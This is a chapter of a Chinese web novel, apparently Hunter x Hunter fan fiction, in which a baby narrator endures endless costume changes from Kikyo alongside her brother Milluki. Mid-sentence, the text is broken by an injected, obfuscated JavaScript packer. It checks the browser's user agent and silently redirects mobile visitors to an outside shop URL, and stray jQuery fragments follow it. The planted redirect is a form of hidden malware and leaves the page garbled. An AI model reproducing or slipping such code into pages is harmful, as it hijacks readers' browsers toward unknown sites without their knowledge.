7. 学坏了
    人生难题——

    究竟是先学会走路重要,还是先学会说话重要。

    有人认为,这两个技能同样重要,但并不会在这个问题上多纠结。因为需要纠结这个问题的,只有小婴儿而已。

    但是如果将这个问题抛给属于小婴儿的我的话,那当然是——

    还用问吗!当然是先说话更为重要了!

    俗话说,语言是人与人之间沟通的直接途径。有人曾说过,人类的一大特征标志就是语言与文字,话语是沟通的桥梁,是人与人之间互相理解和认识的重要连接!

    什么,你问谁说过这句话,当然是大名鼎鼎的露琪大人说的了!

    我咬着奶嘴,苦大仇深地任由基裘在我身上换着衣服。刚才在我身上的还是一套白色的小短裙,不过只穿了十分钟,就被换成了一套奢华的黑白色的哥特风小裙子。

    如果我能够说话,我一定会说:我不想再换衣服了!

    “妈妈的露琪真可爱!”

    我瘪着脸,强压着想要上扬的嘴角。

    好吧,毕竟我确实很可爱,我还从来没有见过比我更可爱的婴儿,什么,你说是因为我根本没有见其他婴儿的机会?但这能否认我的可爱吗!

    但是就算夸我可爱我也已经累了!不想换了!

    不过基裘完全没有看出我不悦的神色,依旧一副兴致勃勃的样子。说起来基裘明明也只是被认知改变了,但一开始对我也不似席巴那样淡然的态度,难道说是早就想要一个洋娃娃了吗!

    没错,就是洋娃娃。

    哼,我可没有蠢到认为大名鼎鼎的杀手家族会有无比充沛的母爱,爱到只需要认知改变对一个素未蒙面的人打上孩子的标签便会激起母爱。

    充沛的母爱会不顾孩子的意愿为了满足自己的兴趣而一直换装吗!

    “妈妈,难受,我不想穿裙子。”圆乎乎的黑发小男孩瘪着嘴,清秀的长相,身上还穿着黑色的充满蕾丝的裙子,模糊了他的性别。此刻的他正揪着裙子的衣领,蝴蝶结有些勒,让他有些难受。

    “我好累,我想要睡觉。”

    ……好吧,还真有。

    我愚蠢的便宜哥哥喔,无用的□□是不会唤醒基裘妈妈的理智的,别忘了这是什么地方。

    这可是揍敌客家!

    你所能做的,只有站起来,再倒下,再站起来!认清你现在所处的地方吧,嘎嘎嘎嘎!

    我用清澈的蓝眸盯着糜稽看,内心配着音。

    这已经不是糜稽第一次抱怨了,实际上,在他也被拉进来参与基裘的换装游戏后,就抱怨了很多次。

    而且他还是有性别意识的,虽然喜欢玩人偶娃娃,但却下意识地排斥穿裙子。

    这样看来以后就不会长成女装大佬了,便宜妹妹很欣慰哦。

    基裘无视了糜稽很多次,但这次却没有无视掉。红色的电子眼闪烁了几下,她红唇张开:“糜稽,露琪都没有说过自己要睡觉。”

    “你还是哥哥,现在就已经觉得累了吗?”

    基裘抱着我站起身,她的语气没有什么起伏,也没有什么特殊的,但是此刻却莫名给人一股压力感。

    她居高临下地看着糜稽,在她怀里的我也居高临下地看着糜稽。

    她穿着奢华的洋装,在糜稽面前显得很有压迫感,我看到糜稽嗫嚅了一下,用手搅了搅衣服,然后垂下了头。

    好歹是没有说累了。

    但是——

    我就说语言是沟通的桥梁!

    我哪里没有说过累,只不过我说的咿咿呀呀都被基裘理解成了撒娇,要不是基裘一直抱着我,我能当场表演一个累到当场倒下!

    我甚至哭喊过!

    基裘和之前的操作一样,扒我的尿片看我有没有尿裤子,又让卡娜卡来给我喂奶。我推开之后,认为我吃腻旧奶粉的卡娜卡给我泡了一瓶新奶粉。

    闻到香味,我下意识吞了一下口水,然后再次坚定推开了。

    基裘理解为:我挑食。

    于是又换了几个奶粉牌子,在第四次换的时候我就忍不住了,安静地抱着奶瓶喝了起来。

    于是,我为了不想换装而实施的哭喊计谋被定义成了——因为饿了又挑食才哭喊。

    后面我就佛系了,像一条咸鱼一样任由基裘给我换着衣服,实则思绪已经不知道飘到哪里去了。

    难道我不想睡觉吗,我只是说不出话。

    这完全是就是在欺负婴儿没有办法说话啊!

    望着糜稽低垂下的头,我虽然想要为其辩解却无能为力。

    我在心里点着头。

    毕竟这也是没有办法的事情,揍敌客可是大名鼎鼎的杀手家族,对孩子严厉一点也无可厚非。之前那段时间我确实过得滋润了一些,差点都忘了揍敌客的本质了。

    加油喔,糜稽,和我一起被基裘当做换装娃娃吧,我与你同在!

    有了陪我一起被基裘当做换装娃娃的同伴后,痛苦也好像减少了。

    “但是今天就先算了,塔莉亚,带糜稽下去。”基裘也没有多说,或许是想到自己如今的换装娃娃不止一个,看起来心情还不错的样子。

    糜稽刚刚还“羞愧”地低下头,这会却抬起头,刚刚的坏心情一扫而空,一副迫不及待想要离开的样子。

    可见是真的很讨厌被当做换装娃娃了,一点都没有刚才那副怏怏不乐,疲惫困倦的样子。

    塔莉亚恭敬地走了上前:“糜稽少爷,我们走吧。”

    基裘转过头,再次将视线放在了我的身上,显然是不打算管自己的上一个换装玩偶,而是打算将对换装娃娃的期盼都放在我的身上。

    停!stop!

    也就是说,我一个人,要承担两个人的换装量!

    不行啊,这也太犯规了!说好的同甘共苦呢!

    不要留我一个人啊!

    我眼睁睁地看着糜稽将手放在了塔莉亚手上,然后转头,一副落荒而逃的样子,完全没有心痛和解救他“疼爱的妹妹”。

    他的背影颇有几分迫不及待。

    看吧,卡娜卡,我就说糜稽那家伙根本没有多喜欢我吧。

    我的面前投下了一片阴影,我抬头,正和基裘的电子眼相对。她无疑是美的,就算没有露出面庞,都能看出是一个难得的美人,一举一动都透露着风情。

    “露琪,我们继续吧。”

    女人好听的声音传在我的耳朵里,和恶魔的吐息没有区别。

    两人分担基裘换装的精力我还能有喘息的机会,但是只剩我一个人的话是绝对不行的!会死的!

    虽然换衣服这项活动很少死人,但死亡率绝对不会是零!

    我还是脆弱的小婴儿啊,难道我要成为打破这个零死亡率的第一人吗!

    基裘转过去拿另一条裙子,糜稽也快跟着塔莉亚离开,眼瞅着我就要陷入万劫不复的换装深渊,我再次使出了我的绝招——

    “呜哇哇哇——”我哇一声大哭了出来。

    我感觉到基裘拿衣服的动作停止了,糜稽也被我的哭声影响到了,一边牵着塔莉亚的手一边转头看向我,塔莉亚也因为他这个动作而停下了脚步。

    这次就算给我再好吃的奶粉我也不会喝了!

    我不是尿片脏了,也不是饿了!

    “露琪,难道是不想换衣服了吗?”基裘的电子眼急促地闪烁了一下。

    难得的,居然理解了我的意思!

    我再接再厉,哭得更加大声了。

    “……难不成,是被糜稽带坏的吗?”

    我看见糜稽震惊地看了我一眼,然后立刻把头转过去了,还急促地扯了扯塔莉亚的手,一副催促着她快点离开这个是非之地的样子。

    实际上我也很震惊,因为我哭确实不管糜稽的事。

    我的哭声没有停止,基裘再次开口:“塔莉亚。”

    这个时候不是应该让我走

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11367052|120638||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吗,怎么又叫上塔莉亚了。

    我的哭声停滞了一瞬,然后接着哭了起来。

    基裘发话后,塔莉亚也站着不动了,我注意到糜稽瑟缩了一下。

    难不成?

    糜稽之所以会这么害怕,是因为揍敌客家的人还是会对孩子很狠心吗,之前那段时间明明都没有对我做出过什么,也没有对糜稽做出过什么来着。

    是因为我没有看到吗,所以现在是要给糜稽一个教训了?

    那我是应该继续哭,还是停下来?

    “带糜稽来继续换衣服,刚好有一套衣服忘记给换上试试了。”基裘开口。

    吓死我了,果然揍敌客家对孩子还是很宽容的嘛,既然只是这个惩罚的话那并不严重的。

    在脑海里想了无数种刑法后,我竟觉得换衣服已经是很轻松的惩罚了。

    不过,最佳的解决办法难道不是放我回去吗,怎么为了让我不哭让糜稽回来继续换衣服了。

    糜稽幽怨地看了我两眼,终究才只有两岁没有办法遮掩自己的情绪,他满脸的不情愿,但依旧怂怂地又被塔莉亚牵着走了回来。

    总觉得有些抱歉啊。

    接收到了糜稽的埋怨,我的内心产生了一丢丢的愧疚。

    但是放心吧,伟大的露琪大人会解救你的!

    只要我一直哭,基裘就会理解到让糜稽留下来陪我并不会让我停止哭泣,我也不是因为糜稽走了被带坏而哭的——

    好吧,其实是有一定的关系的,但是我本身就不想换衣服,我是早就不想呆了!

    “露琪,糜稽回来了哦。”基裘勾出了一个笑。

    我继续哇哇大哭。

    “糜稽,别垮着脸。 ”

    ……等等,不管糜稽的事啊。

    我还是哇哇大哭。

    “糜稽!”

    别这样啊基裘妈妈,再这样下去糜稽也要哭了!

    糜稽脸上挂着一个难看的笑容,被基裘说了几次之后脸上的笑容也维持不住了,本来他就不想待下去了,此刻被叫了回来,又被训斥,才两岁多的糜稽开始吸鼻子了。

    我默默停止了哭泣。

    对不起啊,糜稽。

    我要是再哭下去,糜稽也会被基裘训斥到直接大哭吧。

    虽然我停止了哭泣,但刚刚哭的劲头太大了,此刻一抽一抽的,完全停不下来了。

    基裘心情好上不少,肯定了自己的错误结论:“露琪果然是被糜稽带坏了。”

    我非常敏锐地感觉到泪水在眼里打转却始终没有掉下的糜稽看向我的眼神——饱含着幽怨与愤怒。

    也是啊!

    真的非常抱歉!

    我唯一能够为此补救的就是不再哭泣免得基裘再说上些什么。不过在基裘看来,我停止了哭泣就是糜稽带坏我的最大证据。

    好消息是,这样哭过之后我真的很累了,基裘还没给我换衣服我就已经困到点头打瞌睡了。

    基裘也没再强迫,让卡娜卡和塔莉亚把我和糜稽都带下去了。

    对不起!糜稽!

    在脑海中这样抱歉着,实际上我却完全说不出什么话,只能咿咿呀呀的我抱着卡娜卡给我的玩偶熊,在婴儿床上睡着了。

    睡着前我就是饱的,这一睡又是天昏地暗,再次醒的时候房间里黑黢黢的,不知道是晚上几点了。

    我迷迷糊糊睁开眼,感受到了一股十分具有存在感的视线,黑暗中,我和一双黑漆漆的眸子对上了视线。

    我清醒了。

    黑漆漆的大眼睛始终盯着我,长长的头发披下,却没有挡住脸上的暗斑,不,那根本不是暗斑,仔细一看那不是血吗!

    那双眼睛里没有光亮,连眨都不眨一下,连带着也没有任何情感,我就像是被紧紧锁定的猎物一般,被冰冷地注视着。

    好恐怖!

    卡娜卡!

    “呜哇哇哇哇——”

    我嚎啕大哭!